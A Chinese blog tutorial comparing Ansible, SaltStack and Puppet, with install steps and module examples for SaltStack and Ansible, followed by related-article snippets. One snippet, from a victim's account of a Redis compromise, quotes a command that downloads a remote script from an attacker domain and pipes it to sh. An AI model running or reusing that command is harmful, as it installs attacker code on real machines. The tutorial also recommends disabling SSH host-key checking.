当前位置: 首页 > news >正文

Ansible、Saltstack、Puppet自动化运维工具介绍

   本文主要是分享介绍三款主流批量操控工具Ansible、Saltstack、Puppet主要对比区别,以及Ansible和saltstack的基础安装和使用示例,如果觉得本文对你有帮助,欢迎点赞、收藏、评论!

     There are many things that can not be broken!

一、自动化运维工具的选择

1、为什么要用自动化运维工具?

运维的痛点:

海量的设备越来越多,每台设备单独管理需要投入更多人力;

传统运维效率低,大多工作人为完成;

传统运维工作繁琐,人工操作容易出错;

传统运维每日重复做相同的事情;

传统运维没有标准化流程,执行的过程不可控,执行的结果不统一;

传统运维的脚本繁多,不能方便管理。

自动化运维工具就是要解决上面所有问题。

2、自动化运维工具有哪些?

市场上主流的三大开源自动化配置管理工具有:Puppet、Ansible、SaltStack。

Puppet:

使用一种描述性的语言给客户端声明了一些状态配置;puppet基于传统的C/S架构,架构中通常有一台服务器,负责对下游客户端的控制。每个被控制的设备都要安装puppet客户端。puppet使用ruby语言编写,而ruby语言是解析型语言,所谓解析型语言,就是ruby语言的每次执行,都需要借助翻译器将ruby语言翻译成可以被CPU直接执行的机器码。

SaltStack:

SaltStack是基于Python开发的一套C/S架构配置管理工具(功能不仅仅是配置管理,如使用salt-cloud配置AWS EC2实例),它的底层使用ZeroMQ消息队列pub/sub方式通信,使用SSL证书签发的方式进行认证管理。采用号称世界上最快的消息队列ZeroMQ使得SaltStack能快速在成千上万台机器上进行各种操作,而且采用RSA Key方式确认身份,传输采用AES加密,这使得它的安全性得到了保障。

Ansible

ansible是一个基于python开发的轻量级自动化运维管理工具,可以用来批量执行命令,安装程序,支持playbook编排。它通过ssh协议来连接主机,去中心化,相对比puppet和saltstack无需安装客户即可实现文件传输、命令执行、应用部署、配置管理、任务编排等,显得更为简单与轻量。ansible只是提供一种框架,其基于模块工作的,本身没有批量部署。

3、自动化运维工具的对比 

技术特性对比

优缺点对比

4、salt还是ansible?

 1)、响应速度的考量

SaltStack的master和minion主机是通过ZeroMQ传输数据,而Ansible是通过标准SSH进行数据传输,SaltStack的响应速度要比Ansible快很多。标准SSH连接的时候比较耗费时间,ZeroMQ传输的速度会快很多,所以单单从响应速度方面考虑SaltStack会是更好的选择。但是在一般的运维场景下Ansible的响应速度也可以满足需求。

2)、安全的考量

Ansible和SaltStack都需要和远程主机进行连接,它们的最大的安全问题就是MITM攻击,通过伪装成Master主机和远程主机进行通信,从而进行攻击。 SaltStack使用ZeroMQ进行数据传输,ZeroMQ本身数据传输不支持加密,SaltStack可以通过使用AES数据加密方法来对数据进行加密传输,但是SaltStack的minion主机以守护进程的方式运行在远端暴露了很多容易被攻击的点。

3)、运维成本的考量

SaltStack需要在Master和Minion主机启动守护进程,自身需要检测守护进程的运行状态,增加运维成本。Ansible和远端主机之间的通信是通过标准SSH进行,远程主机上只需要运行SSH进程就可以进行运维操作,SSH是机房主机中一般都安装和启动的进程,所以在Ansible进行运维的时候只需要关注Ansible主机的运行状态。Ansible对机房运维不会增加过多的运维成本。从工具本身的运维角度来说,Ansible要比SaltStack简单很多。

二、Saltstack安装与使用

1、saltstack的架构

  在SaltsStack架构中服务端叫作Master,客户端叫作Minion,都是以守护进程的模式运行,一直监听配置文件中定义的ret_port(saltstack客户端与服务端通信的端口,负责接收客户端发送过来的结果,默认4506端口)和publish_port(saltstack的消息发布系统,默认4505端口)的端口。当Minion运行时会自动连接到配置文件中定义的Master地址ret_port端口进行连接认证。

Master:控制中心,salt命令运行和资源状态管理

Minion : 需要管理的客户端机器,会主动去连接Mater端, 并从Master端得到资源状态信息,同步资源管理信息

States:配置管理的指令集

Modules:在命令行中和配置文件中使用的指令模块,可以在命令行 中运行

Grains:minion端的变量,静态的

Pillar:minion端的变量,动态的比较私密的变量,可以通过 配置文件实现同步minions定义 highstate:为minion端下发永久添加状态,从sls配置文件读取. 即同步状态配置

salt_schedule:会自动保持客户端配置

2、saltstack的安装配置

1)安装部署

建议从官网下载安装包,配置saltstack的yum源,可以离线安装部署

服务端

yum install -y salt-master.noarch

客户端

yum install -y salt-minion.noarch

saltstack官方提供了各种版本系统安装方法(地址:http://repo.saltstack.com/#rhel)

2)服务启动和客户端配置

[root@master ~]#systemctl enable salt-master

[root@master ~]#systemctl start salt-master

客户端上:

[root@client ~]# sed -i "s/#master: salt/master: masterip/g" /etc/salt/minion

[root@client ~]# sed -i "s/#id:/id: clientip/g" /etc/salt/minion

[root@client ~]#systemctl enable salt-minion

[root@client ~]#systemctl start salt-minion

3、SaltStack使用

A.Master与Minion认证:

minion在第一次启动时,会在/etc/salt/pki/minion/下自动生成minion.pem(private key)和 minion.pub(public key),然后将 minion.pub发送给master。master在接收到minion的public key后,通过salt-key命令accept minion public key,这样在master的/etc/salt/pki/master/minions下的将会存放以minion id命名的 public key,然后master就能对minion发送指令了。

认证命令如下:

[root@master ~]# salt-key –L     #查看当前证书签证情况

Accepted Keys:

Unaccepted Keys:

192.168.100.100

Rejected Keys:

salt-key –a 接受某个客户端请求

salt-key –A 接受所有客户端请求

salt-key –d 删除单个客户端

salt-key –D 删除所有客户端

B:常用模块:

1、测试连接情况 salt  *  test.ping        

# 测试saltstack minion与master的连通性。

 '*'表示所有目标机器 test.ping 只是模块里的一个功能,用来测试连通性

# 测试指定受控端主机是否存活

[root@master ~]# salt "node1" test.ping

node1:    

        True

2、远程执行命令 salt [options] ‘<目标机>’ <功能> [arguments]

# 例如: #对机器node1使用uptime命令

salt  'node1' cmd.run 'uptime'

3、文件分发模块

# salt-cp 分发文件到minion上,不支持目录分发,通常在master运行

salt-cp [options] '<target>' SOURCE DEST

salt-cp '*' testfile.html /tmp salt-cp 'node*' /opt/index.html /tmp/a.html

4、其他常用模块命令

salt '*' network.active_tcp      # 查看tcp连接情况

salt '*' network.get_hostname    # 查看主机名

salt '*' service.available sshd  # 查看ssh服务是否可达

salt '*' service.get_all         # 查看所有启动的服务

salt '*' service.status nginx    # 查看指定服务是否在线

salt '*' sys.doc pkg           #查看pkg模块文档

# salt内置的执行模块列表 http://docs.saltstack.cn/ref/modules/all/index.html

C:配置状态管理

salt states的核心是sls文件,该文件使用YAML语法定义了一些k/v的数据。

sls文件存放根路径在master配置文件中定义,默认为/srv/salt,该目录在操作系统上不存在,需要手动创建。

在salt中可以通过salt://代替根路径,例如你可以通过salt://top.sls访问/srv/salt/top.sls。 在states中top文件也由master配置文件定义,默认为top.sls,该文件为states的入口文件。 一个简单的sls文件如下:

# 1.描述了要装一个httpd服务
apache-install:  # 这个是一个名称,可以随便写
  pkg.installed:  # pkg是状态模块,installed是状态模块中的方法
    - name: httpd  # 描述了我在里要装一个httpd包
# 2.描述了httpd服务是启动状态,并且是开机自启动状态
apache-service:  # 这个是一个名称,可以随便写
  service.running:  # 描述了httpd服务是运行的状态
    - name: httpd
    - enable: True  # 描述httpd服务开机自动启动
# salt  node1 apache.sls 

D:grains.item模块

功能:获取机器基本信息(cpu、内存)

# 1、查看系统版本 # salt node1  grains.item os

# 2、查看cpu型号 # salt node1 grains.item cpu_model

# 3、获取ipv4地址 # salt node1  grains.item fqdn_ip4

# 4、查询内核版本 # salt node1  grains.item kernelrelease

# 5、查看主机名 # salt node1 grains.item nodename

# 6、查看系统版本号 centos6、centos7等 # salt node1  grains.item osmajorrelease

# 7、查看salt版本     # salt node1   grains.item saltversion

# 8、查看cpu数据量 # salt node1  grains.item num_cpus

# 9、查看内存大小 # salt node1   grains.item mem_total

# 10、查看ipv4地址 # salt node1   grains.item ipv4 

三、Ansible的安装与使用

 1、Ansible架构

ansible基于Python开发,集合了众多运维工具(puppet、cfengine、chef、func、fabric)的优点,实现了批量系统配置、批量程序部署、批量运行命令等功能。

ansible是基于模块工作的,本身没有批量部署的能力。 真正具有批量部署的是ansible所运行的模块,ansible只是提供一种框架。 核心组件包括:

(1)、连接插件connection plugins:负责和被监控端实现通信;

(2)、host inventory:指定操作的主机,是一个配置文件里面定义监控的主机;

(3)、各种模块核心模块、command模块、自定义模块;

(4)、借助于插件完成记录日志邮件等功能;

(5)、playbook:剧本执行多个任务时,非必需可以让节点一次性运行多个任务。

2、Ansible安装配置

A:Ansible安装

1)、在线安装

root> yum -y install epel-release root> yum install ansible

2)、离线安装

Yum分析下载依赖 根据目标主机所用操作系统在实验环境安装一个新的操作系统,利用yum分析依赖并下载依赖包到指定目录。

root>yum install -y  ansible  --downloadonly --downloaddir=/root/ansible

打包并上传到目标主机

root>tar -cvf ansible.tar ./root/ansible

目标主机解压并执行安装脚本

root>tar -xvf ansible.tar && cd ansible && sh install.sh

其中安装脚本就是根据Yum依赖顺序依次rpm -Uvh 依赖包

B、Ansible主配置文件

Ansible 配置文件/etc/ansible/ansible.cfg 
vim /etc/ansible/ansible.cfg
[defaults]
#inventory     = /etc/ansible/hosts      # 主机列表配置文件
#library       = /usr/share/my_modules/  # 库文件存放目录
#remote_tmp    = $HOME/.ansible/tmp      # 临时py命令文件存放在远程主机目录
#local_tmp     = $HOME/.ansible/tmp      # 本机的临时命令执行目录  
#forks         = 5                       # 默认并发数,同时可以执行5次
#sudo_user     = root                    # 默认sudo 用户
#ask_sudo_pass = True                    # 每次执行ansible命令是否询问ssh密码
#ask_pass      = True                    # 每次执行ansible命令是否询问ssh口令
#remote_port   = 22                      # 远程主机的端口号(默认22)
建议优化项: 
host_key_checking = False               # 检查对应服务器的host_key,建议取消注释
log_path=/var/log/ansible.log           # 日志文件,建议取消注释
module_name   = command                 # 默认模块

C:INVENTORY清单

Inventory 文件用来定义你要管理的主机。其默认位置在 /etc/ansible/hosts ,如果不保存在默认位置,也可通过 -i 选项指定。
被管理的机器可以通过其 IP 或域名指定。未分组的机器需保留在 hosts 的顶部,分组 可以使用 [] 指定,如:
[web]
linuxtoy.org
同时,分组也能嵌套:
[vps:children]
web
db
此外,也可以通过数字和字母模式来指定一系列连续主机,如:
[1:3].linuxtoy.org # 等价于 1.linuxtoy.org、2.linuxtoy.org、3.linuxtoy.org
[a:c].linuxtoy.org # 等价于 a.linuxtoy.org、b.linuxtoy.org、c.linuxtoy.org

可以在每个主机后面指定用户名+密码:ansible_ssh_user='xxx' ansible_ssh_pass='password'

如若目标主机使用了非默认的SSH端口,还可以在主机名称之后使用冒号加端口号来标明
如  www1.magedu.com:2222  可以指定端口

D、小试牛刀

现在,我们执行以下命令来看看 Ansible 是否能正常工作:
ansible -i hosts all -m ping -u www
该命令选项的作用分别为:
-i:指定 inventory 文件,使用当前目录下的 hosts
all:针对 hosts 定义的所有主机执行,这里也可以指定组名或模式
-m:指定所用的模块,我们使用 Ansible 内置的 ping 模块来检查能否正常管理远端机器
-u:指定远端机器的用户
如果返回如下结果:
linuxtoy.org | success >> {
    "changed": false,
    "ping": "pong"
}
则说明一切正常。
下面我们再看看远端机器的 uptime:
ansible vps -a 'uptime'  #这将输出:
linuxtoy.org | success | rc=0 >>
11:23:16 up 177 days, 21:19,  0 users,  load average: 0.55, 0.45, 0.39
此处我们省略了 -m,Ansible 默认使用 command 模块;-a 指定模块的参数,即执行 uptime 命令。

3、Ansible使用

A: ansible命令参数

ansible通过ssh实现配置管理、应用部署、任务执行等功能, 建议配置ansible端能基于密钥认证的方式联系各被管理节点 

ansible <host-pattern> [-m module_name] [-a args]

ansible +被管理的主机(ALL) +模块  +参数

    --version              显示版本
    -m module              指定模块,默认为command
    -v                     详细过程 –vv -vvv更详细
    --list-hosts           显示主机列表,可简写 --list
    -k, --ask-pass         提示输入ssh连接密码,默认Key验证
    -C, --check            检查,并不执行
    -T, --timeout=TIMEOUT  执行命令的超时时间,默认10s
    -u, --user=REMOTE_USER 执行远程执行的用户
    -b, --become           代替旧版的sudo切换
        --become-user=USERNAME 指定sudo的runas用户,默认为root
    -K, --ask-become-pass  提示输入sudo时的口令

B: ansible使用检测


ansible all --list  列出所有主机
ping模块: 探测网络中被管理主机是否能够正常使用  走ssh协议
          如果对方主机网络正常,返回pong
ansible-doc -s ping   查看ping模块的语法 

检测所有主机的网络状态
1>  默认情况下连接被管理的主机是ssh基于key验证,如果没有配置key,权限将会被拒绝
    因此需要指定以谁的身份连接,输入用户密码,必须保证被管理主机用户密码一致
    ansible all -m ping -k

2> 或者实现基于key验证 将公钥ssh-copy-id到被管理的主机上 , 实现免密登录
   ansible all -m ping
 

C: ansible常用模块:


1.command模块
Command:在远程主机执行命令,默认模块,可忽略-m选项
    > ansible srvs -m command -a 'service vsftpd start'
    > ansible srvs -m command -a 'echo adong |passwd --stdin 123456'
此命令不支持 $VARNAME < > | ; & 等特殊符号,需要用shell模块实现

    chdir:   进入到被管理主机目录
    creates: 如果有一个目录是存在的,步骤将不会运行Command命令
    ansible websrvs -a 'chdir=/data/ ls'

2.shell模块
Shell:和command相似,用shell执行命令
    > ansible all -m shell  -a 'getenforce'  查看SELINUX状态
    >  ansible all -m shell  -a "sed -i 's/SELINUX=.*/SELINUX=disabled' /etc/selinux/config"
    > ansible srv -m shell -a 'echo magedu |passwd –stdin wang'
      
    调用bash执行命令 类似 cat /tmp/stanley.md | awk -F'|' '{print $1,$2}' &> /tmp/example.txt     
    这些复杂命令,即使使用shell也可能会失败,
    解决办法:写到脚本时,copy到远程执行,再把需要的结果拉回执行命令的机器

3.script模块
Script:在远程主机上运行ansible服务器上的脚本
    > -a "/PATH/TO/SCRIPT_FILE"
    > ansible websrvs -m script -a /data/test.sh

4.copy模块
Copy:从主控端复制文件到远程主机
      src : 源文件  指定拷贝文件的本地路径  (如果有/ 则拷贝目录内容,比拷贝目录本身)
      dest: 指定目标路径
      mode: 设置权限
      backup: 备份源文件
      content: 代替src  指定本机文件内容,生成目标主机文件
      
      > ansible websrvs -m copy -a "src=/root/test1.sh dest=/tmp/test2.showner=wang mode=600 backup=yes"
        如果目标存在,默认覆盖,此处指定先备份
      > ansible websrvs -m copy -a "content='test content\nxxx' dest=/tmp/test.txt"
        指定内容,直接生成目标文件

5、File模块
File:设置文件属性
    path: 要管理的文件路径 (强制添加)
    recurse: 递归,文件夹要用递归
    src:  创建硬链接,软链接时,指定源目标,配合'state=link' 'state=hard' 设置软链接,硬链接
    state: 状态
          absent 缺席,删除
          
    > ansible websrvs -m file -a 'path=/app/test.txt state=touch'       创建文件
    > ansible websrvs -m file -a "path=/data/testdir state=directory"   创建目录    
    > ansible websrvs -m file -a "path=/root/test.sh owner=wang mode=755"  设置权限755
    > ansible websrvs -m file -a 'src=/data/testfile dest=/data/testfile-link state=link' 创建软链接

6、Cron模块
Cron:计划任务
    支持时间:minute,hour,day,month,weekday
    > ansible websrvs -m cron -a "minute=*/5 job='/usr/sbin/ntpdate 172.16.0.1 &>/dev/null' name=Synctime" 
    创建任务
    > ansible websrvs -m cron -a 'state=absent name=Synctime' 
    删除任务
    > ansible websrvs -m cron -a 'minute=*/10 job='/usr/sbin/ntpdate 172.30.0.100" name=synctime disabled=yes'
    注释任务,不在生效

D: ansible-playbook:


对于需反复执行的、较为复杂的任务,我们可以通过定义 Playbook 来搞定。Playbook 是 Ansible 真正强大的地方,它允许使用变量、条件、循环、以及模板,也能通过角色 及包含指令来重用既有内容。我们来看一个简单的例子,该例子在远端机器上创建一个 新的用户:
---
- name: create user
  hosts: vps
  user: root
  gather_facts: false

  vars:
  - user: "toy"

  tasks:
  - name: create {{ user }} on vps
    user: name="{{ user }}"
首先,我们给 Playbook 指定了一个名称;接着,通过 hosts 让该 Playbook 仅作用于 vps 组;user 指定以 root 帐号执行,Ansible 也支持普通用户以 sudo 方式执行;gather_facts 的作用是搜集远端机器的相关信息,稍后可通过变量形式在 Playbook 中使用;vars 定义变量,也可单独放在文件中;tasks 指定要执行的任务。
要执行 Playbook,可以敲入:
ansible-playbook user.yml

E: ansible-roles:


Ansible自1.2版本之后,引入了Roles的新特性,以便层次性和结构化的组织Playbook。相比于Ansible命令的方式进行控制,Ansible Playbook的控制方式极大的提升了Ansible对于被控端设备的管理能力。但是,如果我们想配置更加复杂的被控端环境,那么单单的将所有的配置命令写成一个Playbook文件就可多达成百上千行。这极不利于Ansible Playbook的管理和维护。
相比于Ansible Playbook,Roles能够层次型结构自动装载变量、任务以及handlers。在本质上,Ansible Roles就是将变量、任务、模板以及处理器分别的放在不同的目录中,并通过include的方式进行调用,并组合成一个整体。
一个项目从开始到结束,不是简单几十个playbook就可以完事了,当文件数很多,有上百个的话,仅通过简单的includes不停的引用,那最终的结果错综复杂。这个时候ansible roles就可以很好的发挥它的作用了。
每个角色的格式,一特定的层级目录结构进行组织,如下:
mysql/
    files/
    templates/
    tasks/
    handlers/
    vars/
    meta/

在playbook中调用角色的方式
- hosts: webservers
  remote_user: root
  roles:
  - mysql


 

相关文章:

Ansible、Saltstack、Puppet自动化运维工具介绍

本文主要是分享介绍三款主流批量操控工具Ansible、Saltstack、Puppet主要对比区别&#xff0c;以及Ansible和saltstack的基础安装和使用示例&#xff0c;如果觉得本文对你有帮助&#xff0c;欢迎点赞、收藏、评论&#xff01; There are many things that can not be broken&am…...

python线程池提交任务

1. 线程池参数设置 CPU数量&#xff1a;N线程池的核心线程数量 IO密集型的话&#xff0c;一般设置为 2 * N 1&#xff1b; CPU密集型的话&#xff0c;一般设置为 N 1 或者 使用进程池。线程池的最大任务队列长度 &#xff08;线程池的核心线程数 / 单个任务的执行时间&#…...

跨境电商企业客户服务优化指南:关键步骤与实用建议

随着全球经济一体化的加强&#xff0c;跨境电子商务产业在过去几年蓬勃发展。但是&#xff0c;为应对激烈竞争&#xff0c;提供全方面的客户服务成为了跨境电子商务卖家在市场中获得优势的关键因素之一。本文将介绍跨境电商企业优化客户服务有哪些步骤&#xff1f;以助力企业提…...

Visual Studio Code 常用快捷键

Visual Studio Code 常用快捷键 文章目录 Visual Studio Code 常用快捷键1. 主命令框2. 常用快捷键2.1 编辑器与窗口管理2.2 代码编辑格式调整光标相关重构代码查找替换显示相关其他 1. 主命令框 F1 或 CtrlShiftP : 打开命令面板。在打开的输入框内&#xff0c;可以输入任何命…...

ubuntu创建pytorch-gpu的docker环境

文章目录 安装docker创建镜像创建容器 合作推广&#xff0c;分享一个人工智能学习网站。计划系统性学习的同学可以了解下&#xff0c;点击助力博主脱贫( •̀ ω •́ )✧ 使用docker的好处就是可以将你的环境和别人的分开&#xff0c;特别是共用的情况下。本文介绍了ubuntu环境…...

数据库原理与应用期末复习试卷2

数据库原理技术与应用 一.单项选择题 设有属性A&#xff0c;B&#xff0c;C&#xff0c;D&#xff0c;以下表示中不是关系的是( C) ​ A、R(A) B、R(A, B, C, D) C、R&#xff08;AxBxCxD&#xff09; D、R(A&#xff0c;B) 在SQL语言中的视图VIEW是数据库的(A&#xff09;…...

操作系统丨单元测试

文章目录 单元测试选择题填空题单元测试 选择题 【单选题】可以实现虚拟存储器的方案是(D)。 A. 固定分区方式 B. 可变分区方式 C. 纯分页方式 D. 请求页式 【单选题】文件系统中文件存储空间的分配是以(D)为基本单位进行的。 A. 字 B. 字节 C. 文件 D. 块 【单选题】哪种…...

tcp/ip协议2实现的插图,数据结构6 (24 - 章)

(142) 142 二四1 TCP传输控制协议 tcpstat统计量与tcp 函数调用链 (143) 143 二四2 TCP传输控制协议 宏定义与常量值–上 (144) 144 二四3 TCP传输控制协议 宏定义与常量值–下 (145) 145 二四4 TCP传输控制协议 结构tcphdr,tcpiphdr (146) 146 二四5 TCP传输控制协议 结构 tcp…...

Linux链接的创建,删除,修改

目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中&#xff0c;链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用&#xff0c…...

HarmoryOS Ability页面的生命周期

接入穿山甲SDK app示例&#xff1a; android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK&#xff0c;实现app流量变现 Ability页面的生命周期 学习前端&#xff0c;第一步最重要的是要理解&#xff0c;页面启动和不同场景下的生命周期的…...

【Flink 从入门到成神系列 一】算子

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱敲代码的小黄&#xff0c;阿里巴巴淘天Java开发工程师&#xff0c;CSDN博客专家&#x1f4d5;系列专栏&#xff1a;Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列&#x1f525;如果感觉博主的文章还不错…...

无人机自主寻优降落在移动车辆

针对无人机寻找并降落在移动车辆上的问题&#xff0c;一套可能的研究总体方案&#xff1a; 问题定义与建模&#xff1a; 确定研究的具体范围和目标&#xff0c;包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型&#xff08;MDP&#xff09…...

科技感十足界面模板

科技感界面 在强调简洁的科技类产品相关设计中&#xff0c;背景多数分为&#xff1a;颜色或写实图片两种。 颜色很好理解&#xff0c;大多以深色底为主。强调一种神秘感和沉稳感&#xff0c;同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用&#xff0c;就要求其…...

pytest装饰器 @pytest.mark.parametrize 使用方法

pytest.mark.parametrize 有三种传参方法&#xff0c;分别是&#xff1a; 1.列表传参&#xff1a;将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参&#xff1a;将参数值作为元组传递给装饰器。 pytes…...

redis被攻击

之前由于redis没有修改端口&#xff0c;密码也比较简单&#xff0c;也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本&#xff0c;比如&#xff1a;Back1 Back2 Back3 Back4 &#xff0c;内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式&#xff0c;如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明

处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置&#xff1b;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024

AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers &#x1f449;上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯

我开发的升降梯由三个部分组成&#xff0c;反正适用于我的需求了&#xff0c;其他人想复用到自己的项目的话&#xff0c;不一定。写的也不是很好&#xff0c;感觉搞的有点复杂啦。完全可以在优化一下&#xff0c;项目赶工期&#xff0c;就先这样吧。能用就行&#xff0c;其他的…...

插槽slot涉及到的样式污染问题

1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中&#xff0c;我们主要关注以下两点: 父组件的样式是否会影响子组件的样式&#xff1f;子组件的样式是否会影响父组件定义的插槽部分的样式&#xff1f; 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换

目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来&#xff0c;你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...

python接口自动化(七)--状态码详解对照表(详解)

1.简介 我们为啥要了解状态码&#xff0c;从它的作用&#xff0c;就不言而喻了。如果不了解&#xff0c;我们就会像个无头苍蝇&#xff0c;横冲直撞。遇到问题也不知道从何处入手&#xff0c;就是想找别人帮忙&#xff0c;也不知道是找前端还是后端的工程师。 状态码的作用是&a…...

Android 实现动态申请各项权限

在Android应用中&#xff0c;如果需要使用一些敏感的权限&#xff08;例如相机、位置等&#xff09;&#xff0c;需要经过用户的授权才能访问。在Android 6.0&#xff08;API级别23&#xff09;及以上的版本中&#xff0c;引入了动态权限申请机制。以下是在Android应用中实现动…...

【leetcode】力扣热门之合并两个有序列表【简单难度】

题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入&#xff1a;l1 [1,2,4], l2 [1,3,4] 输出&#xff1a;[1,1,2,3,4,4] 输入&#xff1a;l1 [], l2 [] 输出&#xff1a;[] 输入&#xff1a;l1 []…...

安全与认证Week3 Tutorial+历年题补充

目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证&#xff0c;为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...

【Kotlin】协程

Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中&#xff0c;笔者发现很多异步或者耗时的操作&#xff0c;都使用了Kotlin中的协程&#xff0c;所以特地研究了一番。 定义 关于协程&#xff08;Coroutine&#xff09;&#xff0c;其实…...

Scikit-Learn线性回归(五)

Scikit-Learn线性回归五:岭回归与Lasso回归 1、误差与模型复杂度2、范数与正则化2.1、范数2.2、正则化3、Scikit-Learn Ridge回归(岭回归)4、Scikit-Learn Lasso回归1、误差与模型复杂度 在第二篇文章 Scikit-Learn线性回归(二) 中,我们已经给出了过拟合与模型泛化的概念并…...

React(2): 使用 html2canvas 生成图片

使用 html2canvas 生成图片 需求 将所需的内容生成图片div 中包括 svg 等 前置准备 "react": "^18.2.0","react-dom": "^18.2.0","html2canvas": "^1.4.1",实现 <div ref{payRef}></div>const pa…...

CAN物理层协议介绍

目录 ​编辑 1. CAN协议简介 2. CAN物理层 3. 通讯节点 4. 差分信号 5. CAN协议中的差分信号 1. CAN协议简介 CAN是控制器局域网络(Controller Area Network)的简称,它是由研发和生产汽车电子产品著称的德国BOSCH公司开发的,并最终成为国际标准(ISO11519) &#xff0…...

华为OD机试真题-计算面积-2023年OD统一考试(C卷)

题目描述: 绘图机器的绘图笔初始位置在原点(0, 0),机器启动后其绘图笔按下面规则绘制直线: 1)尝试沿着横向坐标轴正向绘制直线,直到给定的终点值E。 2)期间可通过指令在纵坐标轴方向进行偏移,并同时绘制直线,偏移后按规则1 绘制直线;指令的格式为X offsetY,表示在横…...

设计模式之策略模式【行为型模式】

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档> 学习的最大理由是想摆脱平庸&#xff0c;早一天就多一份人生的精彩&#xff1b;迟一天就多一天平庸的困扰。各位小伙伴&#xff0c;如果您&#xff1a; 想系统/深入学习某…...

网站建设使用的什么软件/网站收录怎么弄

Filesystem Hierarchy Standard&#xff08;文件系统层次化标准&#xff09;-/boot: 系统启动相关的文件&#xff0c;如内核、initrd&#xff0c;以及grub(bootloader)-/dev: 设备文件 -/etc&#xff1a;配置文件-/home&#xff1a;用户的家目录&#xff0c;每一个用户的家目录…...

做直播网站需要那些技术/网络营销成功案例有哪些2022

【预热/全开源】机械电子控制“跑通全流程”实践课程【考拉工作室】第一讲&#xff1a;直线滑台的应用和原理【考拉工作室】第二讲&#xff1a;直线滑台的组成【考拉工作室】第三讲&#xff1a;直线滑台非标设计【考拉工作室】第四讲&#xff1a;步进电机的原理和控制大家好&am…...

做企业网站收费价格/bing搜索引擎入口

这篇文章是因为之前看过一篇文章&#xff0c;总结了一些技能&#xff0c;但是并不详细&#xff0c;之后陆续还会有新的文章。 事件模型 js中有两种事件&#xff0c;DOM0和DOM2. DOM0DOM0事件很简单&#xff0c;就是在dom上绑定事件&#xff0c;代码如下document.getElementById…...

网站免费建站系统 六/谷歌竞价广告

EJS(Embeded Javascript)&#xff0c;是类似JSP&#xff0c;eRuby之类的&#xff0c;将代码嵌入到HTML页面中&#xff0c;并动态执行的一种机制。在说EJS之前&#xff0c;我们要区分两个EJS&#xff0c;一个是基于nodeJS平台运行的EJS&#xff0c;另外一个是在浏览器执行的EJS。…...

网站建设运维情况自查报告/网站服务器地址查询

常用基本清屏命令是&#xff1a; clear或者ctrlL 但是这个并没有彻底清屏&#xff0c;鼠标往上拉&#xff0c;还是有的快速清屏 printf ‘\ec’ 或者 printf ‘\033c’ 工作原理是&#xff1a;\033 \x1B 27 ESC。 这个命令变成了c&#xff0c;在VT-XXX中表示“Full Res…...

建设公司网站账务处理/百度 seo优化作用

1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件。 该程序正常执行流程是&#xff1a;main调用foo函数,foo函数会简单回显任何用户输入的字符串。 该程序同时包含另一个代码片段&#xff0c;getShell&#xff0c;会返回一个可用Shell。正…...